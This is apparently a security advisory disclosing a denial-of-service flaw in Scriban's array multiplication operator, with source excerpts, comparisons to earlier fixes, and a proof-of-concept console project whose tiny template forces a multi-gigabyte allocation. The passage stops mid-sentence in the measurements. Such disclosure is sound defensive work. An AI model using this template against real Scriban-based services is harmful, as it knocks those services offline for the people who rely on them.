### Summary The array multiplication operator (`array * integer`) in Scriban allocates a result whose size is the product of the attacker-controlled integer and the array length, with **no `LoopLimit` / `LimitToString` check and no overflow-safe arithmetic**. A ~40-byte template forces a multi-gigabyte allocation, producing a denial-of-service. This is the unguarded sibling of operations that *were* hardened against the same class of abuse: `string * integer` (gated by a `LimitToString` pre-check), `array.insert_at` (gated by `StepLoop`/`LoopLimit` — the **GHSA-24c8-4792-22hx** fix shipped in 7.2.0, scored 8.7 High), and the range/iteration paths covered by **GHSA-c875-h985-hvrc** ("Built-in operations bypass LoopLimit", fixed 7.0.0). The same `LoopLimit`-based hardening pattern was applied to those operations but never to `array * integer`. This can be observed directly in 7.0.0, the release where GHSA-c875 was patched: `(1..5) * 50000000` (and `1..N | array.size`) correctly throws `Exceeding number of iteration limit '1000'`, while `[1,2,3,4,5] * 50000000` allocates ~2 GB with no limit. The `LoopLimit` control is enforced on the iteration path but not on the `array * int` allocation path, side by side, in the same version. The bug has been present since the operator was introduced in **3.0.0**, survives all of the 6.6.0 / 7.0.0 / 7.2.0 DoS-hardening passes, and is still present in 7.2.0 (current) — i.e. it is both a missed sibling of GHSA-24c8 and an incomplete coverage of GHSA-c875's `LoopLimit` hardening. ### Details The `array * int` operator is handled in `ScriptArray<T>.TryEvaluate`: ```csharp // src/Scriban/Runtime/ScriptArray.cs:504-508 (Multiply case) var newArray = new ScriptArray<T>(intModifier * array.Count); for (int i = 0; i < intModifier; i++) { newArray.AddRange(array); } ``` `intModifier` is the attacker-supplied integer (`context.ToInt(...)`, `ScriptArray.cs:399`). Two problems: 1. **No resource limit.** Neither `new ScriptArray<T>(intModifier * array.Count)` nor the `AddRange` loop consults `LoopLimit`, `LimitToString`, or calls `context.StepLoop(...)`. A grep of the entire `TryEvaluate` method (`ScriptArray.cs:360-560`) finds no `StepLoop` / `LoopLimit` / `Limit` reference. `LoopLimit` (default 1000) is therefore not enforced: a template that requests 250,000,000 elements creates them all without any "iteration limit" error. 2. **Integer overflow in the capacity.** `intModifier * array.Count` is unchecked `int` arithmetic. The overflow-safe `long` cast used by the string sibling is absent here. The DoS-hardening passes guarded the two sibling operations but not this one: ```csharp // src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:341 (string * int — GUARDED) if (context.LimitToString > 0 && value > 0 && leftText.Length > 0 && (long)leftText.Length * value > context.LimitToString) // long arithmetic, pre-check { throw new ScriptRuntimeException(spanMultiplier, $"String multiplication exceeds LimitToString `{context.LimitToString}`."); } ``` ```csharp // src/Scriban/Functions/ArrayFunctions.cs:414 (array.insert_at — GUARDED, GHSA-24c8 fix in 7.2.0) for (int i = array.Count; i < index; i++) { context.StepLoop(span, ref loopStep); // LoopLimit enforced array.Add(null); } ``` `array * int` (`ScriptArray.cs:504`) received neither guard. When the oversized allocation fails as a managed exception, it is wrapped by the binary-expression evaluator: ```csharp // src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:241-243 catch (Exception ex) when (!(ex is ScriptRuntimeException)) { throw new ScriptRuntimeException(span, ex.Message); } ``` So a host that wraps `Render()` in `try/catch` sees a `ScriptRuntimeException` carrying the original `OutOfMemoryException` message (or `ArgumentOutOfRangeException` on the integer-overflow path). ### PoC A single console project reproduces it on the released NuGet package. `poc.csproj`: ```xml <Project Sdk="Microsoft.NET.Sdk"> <PropertyGroup> <OutputType>Exe</OutputType> <TargetFramework>net8.0</TargetFramework> <!-- If only the .NET 9 SDK is installed, change to net9.0. Behavior is identical. --> </PropertyGroup> <ItemGroup> <PackageReference Include="Scriban" Version="7.2.0" /> </ItemGroup> </Project> ``` `Program.cs`: ```csharp using Scriban; // ~41-byte template requests 5 * 200,000,000 = 1,000,000,000 elements string tpl = "{{ x = [1,2,3,4,5] * 200000000; x.size }}"; System.Console.WriteLine("Rendering..."); var sw = System.Diagnostics.Stopwatch.StartNew(); var result = Template.Parse(tpl).Render(); // allocates ~7.7 GB System.Console.WriteLine($"size={result.Trim()} peakWS=" + System.Diagnostics.Process.GetCurrentProcess().PeakWorkingSet64 / (1024 * 1024) + "MB elapsed=" + sw.ElapsedMilliseconds + "ms"); ``` Run: ```sh dotnet run -c Release ``` Measured peak working set on Scriban 7.2.0 (net8.0, .NET 9 runtime, Linux), varying only the multip

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